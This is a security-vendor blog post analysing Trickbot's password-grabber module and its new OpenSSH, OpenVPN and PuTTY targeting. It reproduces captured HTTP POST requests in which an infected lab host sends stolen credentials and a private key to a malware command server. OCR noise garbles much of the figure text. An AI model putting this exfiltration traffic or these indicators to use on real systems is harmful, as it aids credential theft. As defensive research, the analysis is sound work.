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First seen in 2016, Trickbot is malware that steals system information, login credentials, and other sensitive data
from vulnerable Windows hosts. Trickbot is a modular malware, and one of its modules is a password grabber. In
November 2019, we started seeing indicators of Trickbot's password grabber targeting data from OpenSSH and

OpenVPN applications.

Trickbot Modules

A Windows host infected with Trickbot downloads different modules to perform various functions. These modules
are stored as encrypted binaries in a folder located under the infected user’s AppData\Roaming directory. The
encrypted binaries are decoded as DLL files and run from system memory. Figure 1 shows encoded Trickbot

modules generated by a recent Trickbot infection on a 64-bit Windows 7 host from Friday November 8th, 2019.

= O PXe¢
@Qv| }. « AppData » Roaming » cashcore » data » "‘f || Search data L
Organize ~ Include in library ~ Share with ~ New folder =~ O l@)
Name Date modified Type Size
I injectDII64_configs 11/8/2019 6:12 PM  File folder
I networkDIl64_configs 11/8/2019 5:38 PM  File folder
| pwgrab64_configs 11/8/2019 5:23 PM  File folder
| tabDIll64_configs 11/8/2019 6:31 PM  File folder
importDIl64 11/8/2019 5:58 PM  File 8,743 KB
injectDIl64 11/8/2019 6:11 PM  File 457 KB
mshareDIl64 11/8/2019 6:32 PM  File 17 KB
mwormDII64 11/8/2019 7:07 PM  File 27 KB
networkDIl64 11/8/2019 5:30 PM  File 23 KB
pwgrab64 11/8/2019 5:23 PM  File 1,464 KB
systeminfo64 11/8/2019 5:22 PM  File 21 KB
tabDll64 11/8/2019 6:29 PM  File 822 KB

Figure 1. Modules from a Trickbot infection on November 8th, 2019.

Password Grabber Module
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As seen in Figure 1, one of the modules is named pwgrab64. This is a password grabber used by Trickbot. This

module retrieves login credentials stored in a victim's browser cache, and it also obtains login credentials from

other applications installed on a victim’s host. The password grabber and some other Trickbot modules send stolen

data using unencrypted HTTP over TCP port 8082 to an IP address used by Trickbot. For example, Figure 2 shows

information from a packet capture (pcap) of traffic generated by a host infected with Trickbot. It highlights an

example of login credentials stolen from an infected user’s Chrome browser cache. Note how the URL in the

HTTP POST request ends with the number 81. This number is used in URLs generated by Trickbot's password

grabber module.
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‘ Wireshark - Follow TCP Stream (tcp.stream eq 156) - 2019-11-08-traffic-from-Ursnif-infection-with-Trickbot-gtag-lleo8.pcap | & « [E =

POST /11e08/FLAPJACK-PC_W617601.37AE9FDCDD2701CC717AFCD54ADD1FBF/81/ HTTP/1.1
Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; wWindows NT 6.1; Wi EoOdEAlE
Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLi}3.0.30729;
Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 170.238.117.187

Connection: close

Content-Type: multipart/form-data; boundary=--------- MZCVGAJQNXZQTMAL

Content-Length: 296

Marker for Trickbot's
password grabber

——————————— MZCVGAJQNXZQTMAL
Content-Disposition: form-data; name="data"

module

https://www.whyshouldiloginhere.com/Authentication/Views/Login.aspx|

----------- MZCVGAJQNXZQTMAL

flappyjackie|P@sswOrd$
Content-Disposition: form-data; name="source"

Stolen login
credentails

HTTP/1.1 200 OK
connection: close

"chrome passwords"
server: Cowboy

date: FEri AR Nnv 2019 17-24°A% GMT 4
2 client pkts, 1 server pkt, 1 turn.

| Stream 156 *
Find Next

}Entire conversation (860 bytes) A Show and save data as |ASCII

Find: |

| iiHelp Filter Out This Stream Print || Saveas.. || Back || XClose

49313 — 8082 [SYN] Seq=0 Win=8192 Len=0 MS

Win=64240 L
ck=1 Win=64
6 Win=64240
. 37AE9QFDCDD
2 Win=64240

141 win=641

723 Win=642

file: Default

Figure 2. Login credentials stolen from an infected user’s Chrome browser cache.

Updates to Password Grabber

Traffic patterns from recent Trickbot infections had been fairly consistent until early November 2019, when we

started seeing two new HTTP POST requests caused by the password grabber. They are identified as:

e OpenSSH private keys

e OpenVPN passwords and configsls

For the OpenVPN line, configsls might be a misspelling of configs. Figure 3 and Figure 4 show examples of

HTTP POST requests that contain these identifiers.
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-

POST /1leo08/FLAPJACK-PC_W617601.37AE9FDCDD2701CC717AFCD54ADD1FBF/81/ HTTP/1.1
Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Wi ; XB4;
Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CL
3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 170.238.117.187

Connection: close

Content-Type: multipart/form-data; boundary=--------- UDAZGMYDZEPVTIKW
Content-Length: 210
. '
___________ R Marker for Trickbot's
Content-Disposition: form-data; name="data" password grabber
module
----------- UDAZGMYDZEPVTIKW

Content-Disposition: form-data; name="source"

OpenSSH private keys P OpenSSH prlvate keyS
----------- UDAZGMYDZEPVTIKW- -

HTTP/1.1 200 OK

connection: close

server. Cowhoy

date: Fri. 68 Nov 2019 17:26:16 GMT =

Figure 3. HTTP POST request caused by Trickbot's password grabber for OpenSSH private keys.

-

POST /11e08/FLAPJACK-PC_W617601.37AE9FDCDD2701CC717AFCD54ADD1FBF/81/ HTTP/1.1
Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Wi ; X64;
Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CL
3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 170.238.117.187

Connection: close

Content-Type: multipart/form-data; boundary=--------- JHSDPJTYKCRTAUKG
Content-Length: 221
. '
___________ ORI TYKERTAUKG Marker for Trickbot's
Content-Disposition: form-data; name="data" password grabber
module
----------- JHSDPJTYKCRTAUKG

Content-Disposition: form-data; name="source"

OpenVPN passwords and configsls h OpenVPN paSSWOTdS

----------- JHSDPJTYKCRTAUKG- - .

HTTP/1.1 200 OK and Conf|gs|s

connection: close

server. Cowhoy

date: Fri. 08 Nov 2019 17:25:43 GMT %

Figure 4. HTTP POST request caused by Trickbot's password grabber for OpenVPN passwords and

configurations.

Are These Updates Broken?
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These updates to Trickbot's password grabber module may not be fully functional. HTTP POST requests caused
by the password grabber for OpenSSH and OpenVPN occur whether or not the victim's host has OpenSSH or

OpenVPN installed. And we have not seen this traffic contain any actual data.

We generated Trickbot infections in lab environments for both Windows 7 and Windows 10 hosts with configured
OpenSSH and OpenVPN applications. However, we have not seen any working results. HTTP POST requests
generated by the password grabber for OpenSSH and OpenVPN during these infections contained no data.

However, Trickbot’s password grabber works will grab SSH passwords and private keys from an SSH/Telnet
client named PuTTY. Figure 5 and Figure 6 shows password grabber activity from a Trickbot-infected host with

PuTTY installed and configured to use a private key for an SSH connection to a cloud server.
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POST /mor45/SIR-LANCELOT-PC_W617601.B77CE652128C974511AD56EQOF43DOBF9/81/ HTTP/1.1 ~

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 6.1; wWin64;
Trident/7.®; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.
Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 170.238.117.187

Connection: close

Content-Type: multipart/form-data; boundary=--------- INZFZCTZAULIGYZS

Content-Length: 2443 .
Marker for Trickbot's

r
.30729;

——————————— IJNZFZCTZAULIGYZS
Content-Disposition: form-data; name="data" password grabber
PuTTY saved session name: 147.135.128.201 rT]()(jLJIEE

Private key info:

Cipher: aes256-cbc
Comment: rsa-key-20191115
HostName: 147.135.128.201

Name :
PublicKeyFile: C:\Users\lance\Documents\private-key.ppk
Type: rsa

UserName: root

Private key file (BASE64-encoded):
UHVUVFKTVXN1cilLZXKtRm1lsZSOy0iBzc2gtcnNhDQpFbmNyeXBoaw9u0iBhZXMyNTYtY2JjDQpbbh21tZ
W5001Byc2Eta2V5LTIWMTKXMTELDQpQdWIsaWMtTGluZXM6IDYNCKFBQUFCMO56 YUMXeWMyRUFBQUFCS1
FBQUFRRUFpcGIZzROprS3RWZ1NhczND4UIbERTGRNCAy1TaFGW7H]jScCylIh305kvTvTyyIKNODSoMVCYB
Vijmas2qqKnw@bwhxVmNDRWgxeEZaTVZZbkptOE9YRVUZ2MF1LbnA2dnhCRMRYUlcNC1Z jawtPbm1tMV10
OFNYZUtOCHN6GNONrY1BRRUAIZUAYOX1tWFRKNHIKU@XJY jhBbV1WR3RBT3RKRDE3aGXEZOENCNZQMTNST
k51MnZBQ3FwWNUVwZzVYeW5DeWdBQURQUTFsaDFDRjdQOFJrcELlyTWtwMmxahlBVR3UwWZS9JUN1IZ1YNCm
duvitisxXhhdUluZktFbGcyUms2SUSJdEhXC1RBS11GCcOR0OS3FcXoyc2dqSGCWSEREL2pVUUEZZKdrZKkJ
ORWANCjFraVNma29Nb2piQzVhUESGOTg1ldTNANUFVVFESbjAVbE1GTULucz IJXMWRVYNRIMGARPT@NC1BY
aXZhdGUtTGLuZXM6IDEGDQPTWGNWROPTUT1QMHCZMXpmeDg1R1dOSMVUS1ZZQTZmYVAYNHdpCEXKT2tWd
Dc2R2xhwWwGh2SklaMmRQNkpScVFFDQpTalIrMVpmbO®VCOFNWRGU2YVIWAXE@eWtvSGFHh2tXb3RSYWs3QX
RSUUTVNM1KUFNYbEVYTOtHTEJINVYGN3NODQ03Q3dNdVBIRNg5dFVOL3FEC1BiSHIrN1RtK291bjRTMNV
sdk400FFMeD1TdTIQU2pjQWXDT24vQTdYNK1shUXxGDQoweTNNM2Z3RTdaZ2UwOGFHAWVWWWZPCEE3SNO8V
VWp6TUIYRNBMUOW3RZRFAGRQU3QrQVNFawJUS2NndHFkVjVpDQovbEIye jRJIewW9qelQwazNnNOhpcmdTa
N1FTGhRTEpiNNVsMON3TzMwhDJZabD1lYQSt6Lyt jROtUSNFYMANNbTRIDQPSRzVAJENQV1QrMEYychpaT3
ViZjluvVRMbVBieHYzcUXRAEATMFRMbGNLczRhdkZjdGhrcExXYZDZxM1VSdUxvDQpDQ1B1N25NRXRmemZ
NY2tZdG81RDIzb1MwY1VVQLFRbmFHSUtiTmdtSEdtcHBrbFJIHYZhkbHYZT24zWVBiTOs4DQpySXB2TmUvV
VzZOT3ZzWkJIDbUNaeTASaFNOYWZXYzdWY2FCdTZ4KzFFNzhRakxEdOR5SWX02b3ZkYXg3dndJc3pSDQpUR
VBjNEAOMGAIMjUrcTh6 TWFKYjRDETFtMTRWN21ZZGNQZOVYQT1IXQTdREVNQWJILQ2hiUnAyOVhhOoXh2bw
XvDQpoUG50Zy96Qk9Id1hONTB4MGRvaHVUbVIrcCt6RK16YORGTY91TXpLclpicWhoWlFBTVZZcFBau@J
MUU9ONT3NIDQpMNLITtXUURKTVM3MWWwVMO8XM]QZME0ATOdr RDIJFRMOZ20WFMKINKZGEr ZWZDK31PUW80aEwW1
MHJIyQmOFdWIWMOtZDQoxa@NwVTQ4ZEZ1Q1hMK3FPRzRadTZ1bm8wNit@bUlocmNLAWIUTEFZQ3NOUFROM
DZZ2ME1WR1twSXNENOZVZD1FDQpoN2dMeldVL3kvOEPBMTZOKONANFh3Zzd2NTFBAUXVYUFSVKICNKt1S2
FusSmt2U3psRHNTK31WMUW2eEZBRZFQDQpWZVFZS1MZYKOyNK tpVWZMd@9NQ31yTnNhdnJSKOhYUBVMRIF
@SGOUTXZYNINudjg5Z310TTdOS1EVNUtEeWx0DQpQCcm12YXR1LU1BQzogOGIONGRMMDMOZMR jODEWN] I X
MMFJNjAWODNLIZWQYZWIXN2 IWMWUWNgOK

——————————— INZFZCTZAULIGYZS
Content-Disposition: form-data; name="source"

PuTTY passwords b PUTTY passwords
----------- INZFZCTZAULIGYZS- -

HTTP/1.1 200 OK
connection: close

e = o — ]

Figure 5. HTTP POST request caused by Trickbot's password grabber for PuTTY passwords.
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POST /mor45/SIR-LANCELOT-PC_W617601.B77CE652128C974511AD5S6EOF43DOBF9/81/ HTTP/1.1
Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 6.1; wWin64;
Trident/7.®; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.
Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 170.238.117.187

Connection: close

r
.30729;

Content-Type: multipart/form-data; boundary=--------- NEXTETTLUCWCGYSB
Content-Length: 2228 : '

¢ Marker for Trickbot's
----------- NEXTETTLUCWCGYSB
Content-Disposition: form-data; name="data" password grabber
putty]|C:\Users\lance\Documents\private-key.ppk| rT]()(leIEE

UHVUVFKTtVXN1cilLZXKktRm1lsZS@y0iBzc2gtcnNhDQpFbhmNyexXBOaw9u0iBhZXMyNTYtY2JjDQpDb21tZ
W500iByc2Eta2VSLTIWMTKkXMTELDQpQdWIsaWMtTGluZXME6IDYNCKFBQUFCMO56 YUMXeWMyRUFBQUFCS1
FBQUFRRUFpCGIZROprS3RWZINhczZND4UIbERTGRNCAy1TaFGW7H]jScCylIh305kvTvTyyIKkNODSOMVCYB
Vijmas2qqKnwebwWhxVmNDRWgxeEZaTVZZbKptOE9YRVUZMF1LbnA2dnhCRMRYUlcNC1ZjawtPbm1tMV1O0
OFNYZUtOCHNBNONrY1BRRUAIZU4yOX1tWFRKNHIKUGxJY jhBbV1wR3RBT3RKRDE3aGXEZOENCNZQMTNST
k51MNZBQ3FWNUVWZzVYeW5DeWdBQURQUTFsaDFDRjdQOFJrcE1yTWtwMmxab1BVR3UWZS9JUN1IZ1YNCMm
duvitisxhhduluzktFbGecyuUms2SUS5JdEhXCc1RBS11GCcOROS3FqcXoyc2dqSGCWSEREL2pVUUEZZkdrZkd
ORWANC jFravNma29Nb2piQzVhUESGOTg1dTNANUFVVFESbjAVDEL1@TULUCZ IXMWRVYNRIMGARPTE@NC1BY
aXZhdGUtTGluZXM6IDEGDQPTWGNWREPTUT1IQMHCczMXpmeDg1R1dOSMYuUS1ZzQTZmYVAYNHdpCcEXKT2tWd
Dc2R2xhWGh2SklaMmRQNKkpScVFFDQpTalIrMVpmbh@VCOFNWRGU2YVIWAXE@eWtvSGFHb2tXb3RSYWS3QX
RSUUtVNm1KUFNYbEVYTOtHTEJiINVY@N3NODQo3Q3dNdVBIRNg5dFVOL3FEC1BiSHIrN1IRtK29ibjRTMNV
sdk400FFMeD1TdTIQUZ2pjQWxDT24vQTdYNk1sbUxGDQoweTNNM2Z3RTdaZ2UwOGFHAWVWWWZPCEE3NO8V
VWpBTUIYRNBMUOW3RZRFAGRQU3QrQVNFawJUS2NndHFKVjVpDQovbhEIyejRJIewW9gelQwazNnNOhpcmdTa
N1FTGhRTEpiNNVSMON3TZMwbDJIZaD1lYQSt6LYL jROLUSNFYMONNDTRIDQPSRzZVAdENQV1IQrMEYycnpaT3
ViZjluvVvRMbVBieHYzcUXRAEATMFRMbGNLczRhdkZjdGhrcEXYZDZXM1VSdUxvDQpDQ1B1N25NRXRmemZ
NY2tZdG81RDIzb1MwY1VVQIFRbmFHSUtiTmdtSEdtcHBrbFIHYZzhkbHYZT24zWVBiTOs4DQpySXB2TmUvV
VzZOT3ZZWkJIDbUNaeTAS5aFNOYWZXYzdWY2FCAdTZ4KzZFFNzhRakXEdOR5WX02b3ZkYXg3dndJc3pSDQpUR
VBjNEdOMGAIMjUrcTh6TWFKYjRDeTFtMTRWN21ZZGNQZeVyQT1XQTdgREVNQWILQ2hiUnAyOVhhOoXh2bW
XvDQpoUG50Zy96Qk9Id1hONTB4MGRvaHVUbVIrcCt6RK16YORGTYS1TXpLclpicWhoWlFBTVZZCFBauoJ
MUUSNT3NIDQpmMNitXUURKTVM3MWwvMO8xM]jQzME04TOdr RDJFRMO20WFMKINKZGEr ZWZDK31PUW80aEwl
MHJIYyQmMOFdWIWMOTtZDQoXa®NwWVTQ4ZEZ1Q1hMK3FPRZRadTZ1bm8wNit@bUlocmNLAWIUTEFZQ3NOUFROM
DZ2ME1WR1twSXNENOZVZD1FDQpoN2dMeldVL3KkVOEPBMTZoKON4ANFh3Zzd2NTFBAUXVYUFSVKICNKT1S2
FuSmt2U3psRHNTK31WMUw2eEZBRzFQDQpWZVFZS1MzYKOyNKTtpVWZMdO9NQ31lyTnNhdnJSKOhYUBVMRLF
0SGOUTXZYNINudjg5Z310TTdOS1EVNUtEeWx0DQpQCcml12YXR1LU1BQZzog0GIONGRMMDMOZMR jODEWN ] Ix
MmMF jNj AwODNiZWQyZWIXN2IWwMWUWNgOK

——————————— NEXTETTLUCWCGYSB
Content-Disposition: form-data; name="source"

Precious files " Precious files" used here to

___________ NEXTETTLUCWCGYSB- -

HTTP/1.1 200 OK identify PUTTY private key files

e = i T — ]

Figure 6. HTTP POST request caused by Trickbot's password grabber for private keys used by PuTTY.

Conclusion

This blog post documents recent changes in Trickbot traffic patterns that indicate updates to its password grabber
module. These updates appear to target data from OpenSSH and OpenVPN applications, but this functionality
does not appear to work. Regardless, Trickbot's password grabber will grab sensitive data like private keys from
SSH-related applications like PuTTY.

These updated traffic patterns demonstrate Trickbot continues to evolve. However, best security practices like

running fully-patched and up-to-date versions of Microsoft Windows will hinder or stop Trickbot infections. Palo
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Alto Networks customers are further protected from Trickbot by our threat prevention platform. AutoFocus users

can track Trickbot activity by using the Trickbot tag.

Source: https://unit42.paloaltonetworks.com/trickbot-updates-password-grabber-module/
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